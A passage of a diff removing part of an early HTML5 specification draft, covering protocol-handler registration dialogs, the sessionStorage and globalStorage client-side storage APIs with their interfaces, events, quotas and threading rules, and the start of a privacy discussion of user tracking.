-|              ( Trust kittens.example.org )  (( Cancel ))   |
-|____________________________________________________________|</pre>
-
-  <p>...where "Kittens at work" is the title of the page that invoked the
-   method, "http://kittens.example.org/" is the URI of that page, "x-meow" is
-   the string that was passed to the <code
-   title=dom-navigator-registerProtocolHandler><a
-   href="#registerprotocolhandler">registerProtocolHandler()</a></code>
-   method as its first argument (<var title="">protocol</var>),
-   "http://kittens.example.org/?show=%s" was the second argument (<var
-   title="">uri</var>), and "Kittens-at-work displayer" was the third
-   argument (<var title="">title</var>).
-
-  <p>If the user clicks the Cancel button, then nothing further happens. If
-   the user clicks the "Trust" button, then the handler is remembered.
-
-  <p>When the user then attempts to fetch a URI that uses the "x-meow:"
-   scheme, then it might display a dialog as follows:
-
-  <pre>||[ Unknown Protocol ]||||||||||||||||||||||||||||||||||||||||
-|                                                            |
-| You have attempted to access:                              |
-|                                                            |
-|    x-meow:S2l0dGVucyBhcmUgdGhlIGN1dGVzdCE%3D               |
-|                                                            |
-| How would you like FerretBrowser to handle this resource?  |
-|                                                            |
-|  (o) Contact the FerretBrowser plugin registry to see if   |
-|      there is an official way to handle this resource.     |
-|                                                            |
-|  ( ) Pass this URI to a local application:                 |
-|      [ /no application selected/             ] ( Choose )  |
-|                                                            |
-|  ( ) Pass this URI to the "Kittens-at-work displayer"      |
-|      application at "kittens.example.org".                 |
-|                                                            |
-|  [ ] Always do this for resources using the "x-meow"       |
-|      protocol in future.                                   |
-|                                                            |
-|                                     ( Ok )  (( Cancel ))   |
-|____________________________________________________________|</pre>
-
-  <p>...where the third option is the one that was primed by the site
-   registering itself earlier.
-
-  <p>If the user does select that option, then the browser, in accordance
-   with the requirements described in the previous two sections, will
-   redirect the user to
-   "http://kittens.example.org/?show=x-meow%3AS2l0dGVucyBhcmUgdGhlIGN1dGVzdCE%253D".
-
-  <p>The <code title=dom-navigator-registerContentHandler><a
-   href="#registercontenthandler">registerContentHandler()</a></code> method
-   would work equivalently, but for unknown MIME types instead of unknown
-   protocols.
-
-  <h3 id=storage><span class=secno>5.4. </span>Client-side session and
-   persistent storage</h3>
-  <!-- local storage -->
-
-  <h4 id=introduction0><span class=secno>5.4.1. </span>Introduction</h4>
-
-  <p><em>This section is non-normative.</em>
-
-  <p>This specification introduces two related mechanisms, similar to HTTP
-   session cookies <a href="#refsRFC2965">[RFC2965]</a>, for storing
-   structured data on the client side.
-
-  <p>The first is designed for scenarios where the user is carrying out a
-   single transaction, but could be carrying out multiple transactions in
-   different windows at the same time.
-
-  <p>Cookies don't really handle this case well. For example, a user could be
-   buying plane tickets in two different windows, using the same site. If the
-   site used cookies to keep track of which ticket the user was buying, then
-   as the user clicked from page to page in both windows, the ticket
-   currently being purchased would "leak" from one window to the other,
-   potentially causing the user to buy two tickets for the same flight
-   without really noticing.
-
-  <p>To address this, this specification introduces the <code
-   title=dom-sessionStorage><a
-   href="#sessionstorage">sessionStorage</a></code> DOM attribute. Sites can
-   add data to the session storage, and it will be accessible to any page
-   from that domain opened in that window.
-
-  <div class=example>
-   <p>For example, a page could have a checkbox that the user ticks to
-    indicate that he wants insurance:</p>
-
-   <pre>AMPERSANDlt;label>
- AMPERSANDlt;input type="checkbox" onchange="sessionStorage.insurance = checked">
- I want insurance on this trip.
-AMPERSANDlt;/label></pre>
-
-   <p>A later page could then check, from script, whether the user had
-    checked the checkbox or not:</p>
-
-   <pre>if (sessionStorage.insurance) { ... }</pre>
-
-   <p>If the user had multiple windows opened on the site, each one would
-    have its own individual copy of the session storage object.</p>
-  </div>
-  <!--
-
-   sessionStorage.flightDeparture = 'OSL';
-   sessionStorage.flightArrival = 'NYC';
-
-   for (var i in forms[0].elements)
-      sessionStorage["data_" + i.name] = i.value;
-
-   if (!sessionStorage[documents])
-     sessionStorage[documents] = {};
-   sessionStorage[documents][filename] = <document/>;
-
-  -->
-
-  <p>The second storage mechanism is designed for storage that spans multiple
-   windows, and lasts beyond the current session. In particular, Web
-   applications may wish to store megabytes of user data, such as entire
-   user-authored documents or a user's mailbox, on the clientside for
-   performance reasons.
-
-  <p>Again, cookies do not handle this case well, because they are
-   transmitted with every request.
-
-  <p>The <code title=dom-globalStorage><a
-   href="#globalstorage">globalStorage</a></code> DOM attribute is used to
-   access the global storage areas.
-
-  <div class=example>
-   <p>The site at example.com can display a count of how many times the user
-    has loaded its page by putting the following at the bottom of its page:</p>
-
-   <pre>AMPERSANDlt;p>
-  You have viewed this page
-  AMPERSANDlt;span id="count">an untold number ofAMPERSANDlt;/span>
-  time(s).
-AMPERSANDlt;/p>
-AMPERSANDlt;script>
-  var storage = globalStorage['example.com'];
-  if (!storage.pageLoadCount)
-    storage.pageLoadCount = 0;
-  storage.pageLoadCount = parseInt(storage.pageLoadCount, 10) + 1;
-  document.getElementById('count').textContent = storage.pageLoadCount;
-AMPERSANDlt;/script></pre>
-  </div>
-
-  <p>Each domain and each subdomain has its own separate storage area.
-   Subdomains can access the storage areas of parent domains, and domains can
-   access the storage areas of subdomains.
-
-  <ul class=brief>
-   <li><code>globalStorage['']</code> is accessible to all domains.
-
-   <li><code>globalStorage['com']</code> is accessible to all .com domains
-
-   <li><code>globalStorage['example.com']</code> is accessible to example.com
-    and any of its subdomains
-
-   <li><code>globalStorage['www.example.com']</code> is accessible to
-    www.example.com and example.com, but not www2.example.com.
-  </ul>
-
-  <p>Storage areas (both session storage and global storage) store strings.
-   To store structured data in a storage area, you must first convert it to a
-   string.
-
-  <h4 id=the-storage><span class=secno>5.4.2. </span>The <code><a
-   href="#storage2">Storage</a></code> interface</h4>
-
-  <pre class=idl>
-interface <dfn id=storage2>Storage</dfn> {
-  readonly attribute unsigned long <a href="#length4" title=dom-Storage-length>length</a>;
-  DOMString <a href="#keyn" title=dom-Storage-key>key</a>(in unsigned long index);
-  <a href="#storageitem">StorageItem</a> <a href="#getitem" title=dom-Storage-getItem>getItem</a>(in DOMString key);
-  void <a href="#setitem" title=dom-Storage-setItem>setItem</a>(in DOMString key, in DOMString data);
-  void <a href="#removeitem" title=dom-Storage-removeItem>removeItem</a>(in DOMString key);
-};</pre>
-
-  <p>Each <code><a href="#storage2">Storage</a></code> object provides access
-   to a list of key/value pairs, which are sometimes called items. Keys are
-   strings, and any string (including the empty string) is a valid key.
-   Values are strings with associated metadata, represented by <code><a
-   href="#storageitem">StorageItem</a></code> objects.
-
-  <p>Each <code><a href="#storage2">Storage</a></code> object is associated
-   with a list of key/value pairs when it is created, as defined in the
-   sections on the <code title=dom-sessionStorage><a
-   href="#sessionstorage">sessionStorage</a></code> and <code
-   title=dom-globalStorage><a href="#globalstorage">globalStorage</a></code>
-   attributes. Multiple separate objects implementing the <code><a
-   href="#storage2">Storage</a></code> interface can all be associated with
-   the same list of key/value pairs simultaneously.
-
-  <p>Key/value pairs have associated metadata. In particular, a key/value
-   pair can be marked as either "safe only for secure content", or as "safe
-   for both secure and insecure content".
-
-  <p>A key/value pair is <dfn id=accessible title="accessible
-   keys">accessible</dfn> if either it is marked as "safe for both secure and
-   insecure content", or it is marked as "safe only for secure content" and
-   the script in question is running in a <span title="secure scripting
-   contexts">secure scripting context</span>.
-
-  <p>The <dfn id=length4 title=dom-Storage-length><code>length</code></dfn>
-   attribute must return the number of key/value pairs currently present and
-   <a href="#accessible" title="accessible keys">accessible</a> in the list
-   associated with the object.
-
-  <p>The <dfn id=keyn title=dom-Storage-key><code>key(<var
-   title="">n</var>)</code></dfn> method must return the name of the <var
-   title="">n</var>th <span>accessible</span> key in the list. The order of
-   keys is user-agent defined, but must be consistent within an object
-   between changes to the number of keys. (Thus, <a href="#setitem"
-   title=dom-Storage-setItem>adding</a> or <a href="#removeitem"
-   title=dom-Storage-removeItem>removing</a> a key may change the order of
-   the keys, but merely changing the value of an existing key must not.)
-   <!--The order of keys may differ between instances of the
-  <code>Storage</code> interface accessing the same list. [removed for
-  now for clarity, but if people ask, put it back. this is part of the
-  spec.]-->
-   If <var title="">n</var> is less than zero or greater than or equal to the
-   number of key/value pairs in the object, then this method must raise an
-   <code>INDEX_SIZE_ERR</code> exception.
-
-  <p>The <dfn id=getitem title=dom-Storage-getItem><code>getItem(<var
-   title="">key</var>)</code></dfn> method must return the <code><a
-   href="#storageitem">StorageItem</a></code> object representing the
-   key/value pair with the given <var title="">key</var>. If the given <var
-   title="">key</var> does not exist in the list associated with the object,
-   or is not <span>accessible</span>, then this method must return null.
-   Subsequent calls to this method with the same key from scripts running in
-   the same <span>security context</span> must return the same instance of
-   the <code><a href="#storageitem">StorageItem</a></code> interface. (Such
-   instances must not be shared across security contexts, though.)</p>
-  <!-- XXX define security context -->
-
-  <p>The <dfn id=setitem title=dom-Storage-setItem><code>setItem(<var
-   title="">key</var>, <var title="">value</var>)</code></dfn> method must
-   first check if a key/value pair with the given <var title="">key</var>
-   already exists in the list associated with the object.
-
-  <p>If it does not, then a new key/value pair must be added to the list,
-   with the given <var title="">key</var> and <var title="">value</var>, such
-   that any current or future <code><a
-   href="#storageitem">StorageItem</a></code> objects referring to this
-   key/value pair will return the value given in the <var
-   title="">value</var> argument. If the script setting the value is running
-   in a <span title="secure scripting contexts">secure scripting
-   context</span>, then the key/value pair must be marked as "safe only for
-   secure content", otherwise it must be marked as "safe for both secure and
-   insecure content".
-
-  <p>If the given <var title="">key</var> <em>does</em> exist in the list,
-   then, if the key/value pair with the given <var title="">key</var> is
-   <span>accessible</span>, it must have its value updated so that any
-   current or future <code><a href="#storageitem">StorageItem</a></code>
-   objects referring to this key/value pair will return the value given in
-   the <var title="">value</var> argument. If it is <em>not</em>
-   <span>accessible</span>, the method must raise a <a
-   href="#security2">security exception</a>.
-
-  <p>When the <code title=dom-Storage-setItem><a
-   href="#setitem">setItem()</a></code> method is successfully invoked (i.e.
-   when it doesn't raise an exception), events are fired on other <code><a
-   href="#htmldocument">HTMLDocument</a></code> objects that can access the
-   newly stored data, as defined in the sections on the <code
-   title=dom-sessionStorage><a
-   href="#sessionstorage">sessionStorage</a></code> and <code
-   title=dom-globalStorage><a href="#globalstorage">globalStorage</a></code>
-   attributes.</p>
-  <!--
-  not normative, see the sections below for the normative statement
-  -->
-
-  <p>The <dfn id=removeitem
-   title=dom-Storage-removeItem><code>removeItem(<var
-   title="">key</var>)</code></dfn> method must cause the key/value pair with
-   the given <var title="">key</var> to be removed from the list associated
-   with the object, if it exists and is <span>accessible</span>. If no item
-   with that key exists, the method must do nothing. If an item with that key
-   exists but is not <span>accessible</span>, the method must raise a <a
-   href="#security2">security exception</a>.
-
-  <p>The <code title=dom-Storage-setItem><a
-   href="#setitem">setItem()</a></code> and <code
-   title=dom-Storage-removeItem><a href="#removeitem">removeItem()</a></code>
-   methods must be atomic with respect to failure. That is, changes to the
-   data storage area must either be successful, or the data storage area must
-   not be changed at all.
-
-  <p>In the ECMAScript DOM binding, enumerating a <code><a
-   href="#storage2">Storage</a></code> object must enumerate through the
-   currently stored and <span>accessible</span> keys in the list the object
-   is associated with. (It must not enumerate the values or the actual
-   members of the interface). In the ECMAScript DOM binding, <code><a
-   href="#storage2">Storage</a></code> objects must support dereferencing
-   such that getting a property that is not a member of the object (i.e. is
-   neither a member of the <code><a href="#storage2">Storage</a></code>
-   interface nor of <code title=dom-Object>Object</code>) must invoke the
-   <code title=dom-Storage-getItem><a href="#getitem">getItem()</a></code>
-   method with the property's name as the argument, and setting such a
-   property must invoke the <code title=dom-Storage-setItem><a
-   href="#setitem">setItem()</a></code> method with the property's name as
-   the first argument and the given value as the second argument.
-
-  <h4 id=the-storageitem><span class=secno>5.4.3. </span>The <code><a
-   href="#storageitem">StorageItem</a></code> interface</h4>
-
-  <p>Items in <code><a href="#storage2">Storage</a></code> objects are
-   represented by objects implementing the <code><a
-   href="#storageitem">StorageItem</a></code> interface.
-
-  <pre class=idl>
-interface <dfn id=storageitem>StorageItem</dfn> {
-           attribute boolean <a href="#secure" title=dom-StorageItem-secure>secure</a>;
-           attribute DOMString <a href="#value7" title=dom-StorageItem-value>value</a>;
-};</pre>
-
-  <p>In the ECMAScript DOM binding, <code><a
-   href="#storageitem">StorageItem</a></code> objects must stringify to their
-   <code title=dom-StorageItem-value><a href="#value7">value</a></code>
-   attribute's value.
-
-  <p>The <dfn id=value7 title=dom-StorageItem-value><code>value</code></dfn>
-   attribute must return the current value of the key/value pair represented
-   by the object. When the attribute is set, the user agent must invoke the
-   <code title=dom-Storage-setItem><a href="#setitem">setItem()</a></code>
-   method of the <code><a href="#storage2">Storage</a></code> object that the
-   <code><a href="#storageitem">StorageItem</a></code> object is associated
-   with, with the key that the <code><a
-   href="#storageitem">StorageItem</a></code> object is associated with as
-   the first argument, and the new given value of the attribute as the second
-   argument.
-
-  <p><code><a href="#storageitem">StorageItem</a></code> objects must be
-   <em><a href="#live">live</a></em>, meaning that as the underlying <code><a
-   href="#storage2">Storage</a></code> object has its key/value pairs
-   updated, the <code><a href="#storageitem">StorageItem</a></code> objects
-   must always return the actual value of the key/value pair they represent.
-
-  <p>If the key/value pair has been deleted, the <code><a
-   href="#storageitem">StorageItem</a></code> object must act as if its value
-   was the empty string. On setting, the key/value pair will be recreated.
-
-  <p>The <dfn id=secure
-   title=dom-StorageItem-secure><code>secure</code></dfn> attribute must
-   raise an <code>INVALID_ACCESS_ERR</code> exception when accessed or set
-   from a script whose script context is not <span title="secure scripting
-   contexts">considered secure</span><!-- XXX
-  xref -->. (Basically, if the
-   page is not an SSL page.)
-
-  <p>If the scripting context <em>is</em> secure, then the <code
-   title=dom-StorageItem-secure><a href="#secure">secure</a></code> attribute
-   must return true if the key/value pair is considered "safe only for secure
-   content", and false if it is considered "safe for both secure and insecure
-   content". If it is set to true, then the key/value pair must be flagged as
-   "safe only for secure content". If it is set to false, then the key/value
-   pair must be flagged as "safe for both secure and insecure content".
-
-  <p>If a <code><a href="#storageitem">StorageItem</a></code> object is
-   obtained by a script that is not running in a <span title="secure
-   scripting contexts">secure scripting context</span>, and the item is then
-   marked with the "safe only for secure content" flag by a script that
-   <em>is</em> running in a secure context, the <code><a
-   href="#storageitem">StorageItem</a></code> object must continue to be
-   available to the first script, who will be able to read the value of the
-   object. However, any attempt to <em>set</em> the value would then start
-   raising exceptions as described in the previous section, and the key/value
-   pair would no longer appear in the appropriate <code><a
-   href="#storage2">Storage</a></code> object.
-
-  <h4 id=the-sessionstorage><span class=secno>5.4.4. </span>The <code
-   title=dom-sessionStorage><a
-   href="#sessionstorage">sessionStorage</a></code> attribute</h4>
-
-  <p>The <dfn id=sessionstorage
-   title=dom-sessionStorage><code>sessionStorage</code></dfn> attribute
-   represents the storage area specific to the current <a
-   href="#top-level">top-level browsing context</a>.
-
-  <p>Each <a href="#top-level">top-level browsing context</a> has a unique
-   set of session storage areas, one for each domain.
-
-  <p>User agents should not expire data from a browsing context's session
-   storage areas, but may do so when the user requests that such data be
-   deleted, or when the UA detects that it has limited storage space, or for
-   security reasons. User agents should always avoid deleting data while a
-   script that could access that data is running. When a top-level browsing
-   context is destroyed (and therefore permanently inaccessible to the user)
-   the data stored in its session storage areas can be discarded with it, as
-   the API described in this specification provides no way for that data to
-   ever be subsequently retrieved.
-
-  <p class=note>The lifetime of a browsing context can be unrelated to the
-   lifetime of the actual user agent process itself, as the user agent may
-   support resuming sessions after a restart.
-
-  <p>When a new <code><a href="#htmldocument">HTMLDocument</a></code> is
-   created, the user agent must check to see if the document's <a
-   href="#top-level">top-level browsing context</a> has allocated a session
-   storage area for that <a href="#domain0">document's domain</a>. If it has
-   not, a new storage area for that document's domain must be created.
-
-  <p>The <code><a href="#storage2">Storage</a></code> object for the
-   document's associated <code><a href="#windowhtml">WindowHTML</a></code>
-   object's <code title=dom-sessionStorage><a
-   href="#sessionstorage">sessionStorage</a></code> attribute must then be
-   associated with the domain's session storage area.
-
-  <p>When a new <a href="#top-level">top-level browsing context</a> is
-   created by cloning an existing <a href="#browsing">browsing context</a>,
-   the new browsing context must start with the same session storage areas as
-   the original, but the two sets must from that point on be considered
-   separate, not affecting each other in any way.
-
-  <p>When a new <a href="#top-level">top-level browsing context</a> is
-   created by a script in an existing <a href="#browsing">browsing
-   context</a>, or by the user following a link in an existing browsing
-   context, or in some other way related to a specific <code><a
-   href="#htmldocument">HTMLDocument</a></code>, then, if the new context's
-   first <code><a href="#htmldocument">HTMLDocument</a></code> has the same
-   <a href="#domain0" title="document's domain">domain</a> as the <code><a
-   href="#htmldocument">HTMLDocument</a></code> from which the new context
-   was created, the new browsing context must start with a single session
-   storage area. That storage area must be a copy of that domain's session
-   storage area in the original browsing context, which from that point on
-   must be considered separate, with the two storage areas not affecting each
-   other in any way.</p>
-  <!-- XXX define the case for window.open() -->
-
-  <p id=sessionStorageEvent>When the <code title=dom-Storage-setItem><a
-   href="#setitem">setItem()</a></code> method is called on a <code><a
-   href="#storage2">Storage</a></code> object <var title="">x</var> that is
-   associated with a session storage area, then, if the method does not raise
-   a <a href="#security2">security exception</a>, in every <code><a
-   href="#htmldocument">HTMLDocument</a></code> object whose <code><a
-   href="#windowhtml">WindowHTML</a></code> object's <code
-   title=dom-sessionStorage><a
-   href="#sessionstorage">sessionStorage</a></code> attribute's <code><a
-   href="#storage2">Storage</a></code> object is associated with the same
-   storage area, other than <var title="">x</var>, a <code
-   title=event-storage><a href="#storage3">storage</a></code> event must be
-   fired, as <a href="#storage3" title=event-storage>described below</a>.
-
-  <h4 id=the-globalstorage><span class=secno>5.4.5. </span>The <code
-   title=dom-globalStorage><a href="#globalstorage">globalStorage</a></code>
-   attribute</h4>
-
-  <pre class=idl>interface <dfn id=storagelist>StorageList</dfn> {
-  <a href="#storage2">Storage</a> <a href="#nameditem2" title=dom-Storagelist-namedItem>namedItem</a>(in DOMString domain);
-};</pre>
-
-  <p>The <dfn id=globalstorage
-   title=dom-globalStorage><code>globalStorage</code></dfn> object provides a
-   <code><a href="#storage2">Storage</a></code> object for each domain.
-
-  <p>In the ECMAScript DOM binding, <code><a
-   href="#storagelist">StorageList</a></code> objects must support
-   dereferencing such that getting a property that is not a member of the
-   object (i.e. is neither a member of the <code><a
-   href="#storagelist">StorageList</a></code> interface nor of <code
-   title=dom-Object>Object</code>) must invoke the <code
-   title=dom-Storagelist-namedItem><a
-   href="#nameditem2">namedItem()</a></code> method with the property's name
-   as the argument.
-
-  <p>User agents must have a set of global storage areas, one for each
-   domain.
-
-  <p>User agents should only expire data from the global storage areas for
-   security reasons or when requested to do so by the user. User agents
-   should always avoid deleting data while a script that could access that
-   data is running. Data stored in global storage areas should be considered
-   potentially user-critical. It is expected that Web applications will use
-   the global storage areas for storing user-written documents.
-
-  <p>The <dfn id=nameditem2
-   title=dom-Storagelist-namedItem><code>namedItem(<var
-   title="">domain</var>)</code></dfn> method tries to returns a <code><a
-   href="#storage2">Storage</a></code> object associated with the given
-   domain, according to the rules that follow.
-
-  <div id=splitDomain>
-   <p>The <var title="">domain</var> must first be split into an array of
-    strings, by splitting the string at "." characters (U+002E FULL STOP). If
-    the <var title="">domain</var> argument is the empty string, then the
-    array is empty as well. If the <var title="">domain</var> argument is not
-    empty but has no dots, then the array has one item, which is equal to the
-    <var title="">domain</var> argument. If the <var title="">domain</var>
-    argument contains consecutive dots, there will be empty strings in the
-    array (e.g. the string "hello..world" becomes split into the three
-    strings "hello", "", and "world", with the middle one being the empty
-    string).</p>
-
-   <p>Each component of the array must then have the IDNA ToASCII algorithm
-    applied to it, with both the AllowUnassigned and UseSTD3ASCIIRules flags
-    set. <a href="#refsRFC3490">[RFC3490]</a> If ToASCII fails to convert one
-    of the components of the string, e.g. because it is too long or because
-    it contains invalid characters, then the user agent must raise a
-    <code>SYNTAX_ERR</code> exception. <a href="#refsDOM3CORE">[DOM3CORE]</a>
-    The components after this step consist of only US-ASCII characters.</p>
-
-   <p>The components of the array must then be converted to lowercase. Since
-    only US-ASCII is involved at this step, this only requires converting
-    characters in the range A-Z to the corresponding characters in the range
-    a-z.</p>
-  </div>
-
-  <p>The resulting array is used in a comparison with another array, as
-   described below. In addition, its components are concatenated together,
-   each part separated by a dot (U+002E), to form the <dfn
-   id=normalised>normalised requested domain</dfn>.
-
-  <p class=example>If the original <var title="">domain</var> was
-   "AMPERSANDAring;sgAMPERSANDaring;rd.Example.Com", then the resulting array would have the
-   three items "xn--sgrd-poac", "example", and "com", and the normalised
-   requested domain would be "xn--sgrd-poac.example.com".
-
-  <p>Next, the <a href="#domain1" title="script's domain">script's own
-   domain</a> is processed to find if it is allowed to access the requested
-   domain.
-
-  <p>If the script's domain name in not known, e.g. if only the server's IP
-   address is known, and the <a href="#normalised">normalised requested
-   domain</a> is not the empty string, then the user agent must raise a <a
-   href="#security2">security exception</a>.
-
-  <p class=note>If the <a href="#normalised">normalised requested domain</a>
-   is the empty string, then the rest of this algorithm can be skipped. This
-   is because in that situation, the comparison of the two arrays below will
-   always find them to be the same AMPERSANDmdash; the first array in such a
-   situation is also empty and so permission to access that storage area will
-   always be given.
-
-  <p>If the script's domain contains no dots (U+002E) then the string
-   "<code>.localdomain</code>" must be appended to the script's domain.
-
-  <p>Then, the script's domain must be turned into an array, being split,
-   converted to ASCII, and lowercased as described for the <var
-   title="">domain</var> argument <a href="#splitDomain">above</a>.
-
-  <p>Of the two arrays, the longest one must then be shortened to the length
-   of the shorter one, by dropping items from the start of the array.
-
-  <div class=example>
-   <p>If the <var title="">domain</var> argument is "www.example.com" and the
-    script's domain is "example.com" then the first array will be a three
-    item array ("www", "example", "com"), and the second will be a two item
-    array ("example", "com"). The first array is therefore shortened,
-    dropping the leading parts, making both into the same array ("example",
-    "com").</p>
-  </div>
-
-  <p>If the two arrays are not component-for-component identical in literal
-   string comparisons, then the user agent must then raise a <a
-   href="#security2">security exception</a>.
-
-  <p>Otherwise, the user agent must check to see if it has allocated global
-   storage area for the <a href="#normalised">normalised requested
-   domain</a>. If it has not, a new storage area for that domain must be
-   created.
-
-  <p>The user agent must then create a <code><a
-   href="#storage2">Storage</a></code> object associated with that domain's
-   global storage area, and return it.
-
-  <p>When the requested <var title="">domain</var> is a top level domain, or
-   the empty string, or a country-specific sub-domain like "co.uk" or
-   "ca.us", the associated global storage area is known as <dfn
-   id=public0>public storage area</dfn>
-
-  <div id=globalStorageEvent>
-   <p>The <code title=dom-Storage-setItem><a
-    href="#setitem">setItem()</a></code> method might be called on a <code><a
-    href="#storage2">Storage</a></code> object that is associated with a
-    global storage area for a domain <var title="">d</var>, created by a
-    <code><a href="#storagelist">StorageList</a></code> object associated
-    with a <code><a href="#windowhtml">WindowHTML</a></code> object <var
-    title="">x</var>. Whenever this occurs, if the method didn't raise an
-    exception, a <code title=event-storage><a
-    href="#storage3">storage</a></code> event must be fired, as described
-    below, in every <code><a href="#htmldocument">HTMLDocument</a></code>
-    object that matches the following conditions:</p>
-
-   <ul>
-    <li>Its <code><a href="#windowhtml">WindowHTML</a></code> object is not
-     <var title="">x</var>, and
-
-    <li>Its <code><a href="#windowhtml">WindowHTML</a></code> object's <code
-     title=dom-sessionStorage><a
-     href="#sessionstorage">globalStorage</a></code> attribute's <code><a
-     href="#storagelist">StorageList</a></code> object's <code
-     title=dom-Storagelist-namedItem><a
-     href="#nameditem2">namedItem()</a></code> method would not raise a <a
-     href="#security2">security exception</a> according to the rules above if
-     it was invoked with the domain <var title="">d</var>.
-   </ul>
-
-   <p>In other words, every other document that has access to that domain's
-    global storage area is notified of the change.</p>
-  </div>
-
-  <h4 id=the-storage0><span class=secno>5.4.6. </span>The <code
-   title=event-storage><a href="#storage3">storage</a></code> event</h4>
-
-  <p>The <dfn id=storage3 title=event-storage><code>storage</code></dfn>
-   event is fired in an <code><a href="#htmldocument">HTMLDocument</a></code>
-   when a storage area changes, as described in the previous two sections (<a
-   href="#sessionStorageEvent">for session storage</a>, <a
-   href="#globalStorageEvent">for global storage</a>).
-
-  <p>When this happens, a <code><a href="#storage2">storage</a></code> event
-   in the <code>http://www.w3.org/2001/xml-events</code> namespace, which
-   bubbles, is not cancelable, has no default action, and which uses the
-   <code><a href="#storageevent">StorageEvent</a></code> interface described
-   below, must be fired on <a href="#the-body0">the body element</a>.
-
-  <p>However, it is possible (indeed, for session storage areas, likely) that
-   the target <code><a href="#htmldocument">HTMLDocument</a></code> object is
-   not active at that time. For example, it might not be the <a
-   href="#current">current entry</a> in the session history; user agents
-   typically stop scripts from running in pages that are in the history. In
-   such cases, the user agent must instead delay the firing of the event
-   until such time as the <code><a
-   href="#htmldocument">HTMLDocument</a></code> object in question becomes
-   active again.
-
-  <p>When there are multiple delayed <code><a
-   href="#storage2">storage</a></code> events for the same <code><a
-   href="#htmldocument">HTMLDocument</a></code> object, user agents should
-   coalesce events with the same <code title=dom-Storageevent-domain><a
-   href="#domain2">domain</a></code> value (dropping duplicates).
-
-  <p>If the DOM of a page that has delayed <code><a
-   href="#storage2">storage</a></code> events queued up is <a href="#discard"
-   title=discard>discarded</a>, then the delayed events are dropped as well.
-
-  <pre class=idl>interface <dfn id=storageevent>StorageEvent</dfn> : Event {
-  readonly attribute DOMString <a href="#domain2" title=dom-StorageEvent-domain>domain</a>;
-  void <a href="#initstorageevent" title=dom-StorageEvent-initStorageEvent>initStorageEvent</a>(in DOMString typeArg, in boolean canBubbleArg, in boolean cancelableArg, in DOMString domainArg);
-  void <a href="#initstorageeventns" title=dom-StorageEvent-initStorageEventNS>initStorageEventNS</a>(in DOMString namespaceURIArg, in DOMString typeArg, in boolean canBubbleArg, in boolean cancelableArg, in DOMString domainArg);
-};</pre>
-
-  <p>The <dfn id=initstorageevent
-   title=dom-StorageEvent-initStorageEvent><code>initStorageEvent()</code></dfn>
-   and <dfn id=initstorageeventns
-   title=dom-StorageEvent-initStorageEventNS><code>initStorageEventNS()</code></dfn>
-   methods must initialise the event in a manner analogous to the
-   similarly-named methods in the DOM3 Events interfaces. <a
-   href="#DOM3Events">[DOM3EVENTS]</a>
-
-  <p>The <dfn id=domain2
-   title=dom-StorageEvent-domain><code>domain</code></dfn> attribute of the
-   <code><a href="#storageevent">StorageEvent</a></code> event object must be
-   set to the name of the domain associated with the storage area that
-   changed if that storage area is a global storage area, or the string
-   "<code>#session</code>" if it was a session storage area.</p>
-  <!-- XXX onstorage should be defined -->
-
-  <h4 id=miscellaneous0><span class=secno>5.4.7. </span>Miscellaneous
-   implementation requirements for storage areas</h4>
-
-  <h5 id=disk-space><span class=secno>5.4.7.1. </span>Disk space</h5>
-
-  <p>User agents should limit the total amount of space allowed for a domain
-   based on the domain of the page setting the value.
-
-  <p>User agents should not limit the total amount of space allowed on a
-   per-storage-area basis, otherwise a site could just store data in any
-   number of subdomains, e.g. storing up to the limit in a1.example.com,
-   a2.example.com, a3.example.com, etc, circumventing per-domain limits.
-
-  <p>User agents should consider additional quota mechanisms (for example
-   limiting the amount of space provided to a domain's subdomains as a group)
-   so that hostile authors can't run scripts from multiple subdomains all
-   adding data to the global storage area in an attempted denial-of-service
-   attack.
-
-  <p>User agents may prompt the user when per-domain space quotas are
-   reached, allowing the user to grant a site more space. This enables sites
-   to store many user-created documents on the user's computer, for instance.
-
-  <p>User agents should allow users to see how much space each domain is
-   using.
-
-  <p>If the storage area space limit is reached during a <code
-   title=dom-Storage-setItem><a href="#setitem">setItem()</a></code> call,
-   the user agent should raise an exception.</p>
-  <!-- XXX which one? -->
-
-  <p>A mostly arbitrary limit of five megabytes per domain is recommended.
-   Implementation feedback is welcome and will be used to update this
-   suggestion in future.
-
-  <h5 id=threads0><span class=secno>5.4.7.2. </span>Threads</h5>
-
-  <p>Multiple browsing contexts must be able to access the global storage
-   areas simultaneously in a predictable manner. Scripts must not be able to
-   detect any concurrent script execution.
-
-  <p>This is required to guarentee that the <code title=dom-Storage-length><a
-   href="#length4">length</a></code> attribute of a <code><a
-   href="#storage2">Storage</a></code> object never changes while a script is
-   executing, other than in a way that is predictable by the script itself.
-
-  <p>There are various ways of implementing this requirement. One is that if
-   a script running in one browsing context accesses a global storage area,
-   the UA blocks scripts in other browsing contexts when they try to access
-   <em>any</em> global storage area until the first script has executed to
-   completion. (Similarly, when a script in one browsing context accesses its
-   session storage area, any scripts that have the same top level browsing
-   context and the same domain would block when accessing their session
-   storage area until the first script has executed to completion.) Another
-   (potentially more efficient but probably more complex) implementation
-   strategy is to use optimistic transactional script execution. This
-   specification does not require any particular implementation strategy, so
-   long as the requirement above is met.
-
-  <h4 id=security0><span class=secno>5.4.8. </span>Security and privacy</h4>
-
-  <h5 id=user-tracking><span class=secno>5.4.8.1. </span>User tracking</h5>
-
-  <p>A third-party advertiser (or any entity capable of getting content
-   distributed to multiple sites) could use a unique identifier stored in its
-   domain's global storage area to track a user across multiple sessions,
-   building a profile of the user's interests to allow for highly targetted
-   advertising. In conjunction with a site that is aware of the user's real
-   identity (for example an e-commerce site that requires authenticated
-   credentials), this could allow oppressive groups to target individuals
-   with greater accuracy than in a world with purely anonymous Web usage.
-
-  <p>The <code title=dom-globalStorage><a
-   href="#globalstorage">globalStorage</a></code> object also introduces a
-   way for sites to cooperate to track users over multiple domains, by
-   storing identifying data in "<a href="#public0" title="public storage
-   area">public</a>" top-level domain storage area, accessible by any domain.
-
-  <p>There are a number of techniques that can be used to mitigate the risk
-   of user tracking:
-
-  <ul>
-   <li>
-    <p>Blocking third-party storage: user agents may restrict access to the
-     <code title=dom-globalStorage><a
-     href="#globalstorage">globalStorage</a></code> object to scripts
-     originating at the domain of the top-level document of the <a
-     href="#browsing">browsing context</a>.</p>
-
-    <p>This blocks a third-party site from using its private storage area for
-     tracking a user, but top-level sites could still cooperate with third
-     parties to perferm user tracking by using the "<a href="#public0"
-     title="public storage area">public</a>" storage area.</p>
-
-   <li>
-    <p>Expiring stored data: user agents may automatically delete stored data
-     after a period of time.</p>
-
-    <p>For example, a user agent could treat the global storage area as
